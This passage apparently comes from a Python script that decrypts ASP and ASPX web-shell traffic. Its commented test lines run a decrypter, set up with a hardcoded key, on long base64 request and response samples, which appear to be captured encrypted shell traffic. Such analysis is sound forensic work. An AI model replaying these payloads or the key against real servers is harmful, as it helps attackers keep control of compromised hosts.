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g==')
115 | # asp_res = base64.b64decode(b'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')
116 | # data = decrypter.decrypt_req_payload(asp_req)
117 | # print(data)
118 | # data = decrypter.decrypt_res_payload(asp_res)
119 | # print(data)
120 |
121 | # ASPX
122 | # csharp = CSHARP(key='e45e329feb5d925b')
123 | # aspx_req = base64.b64decode(b'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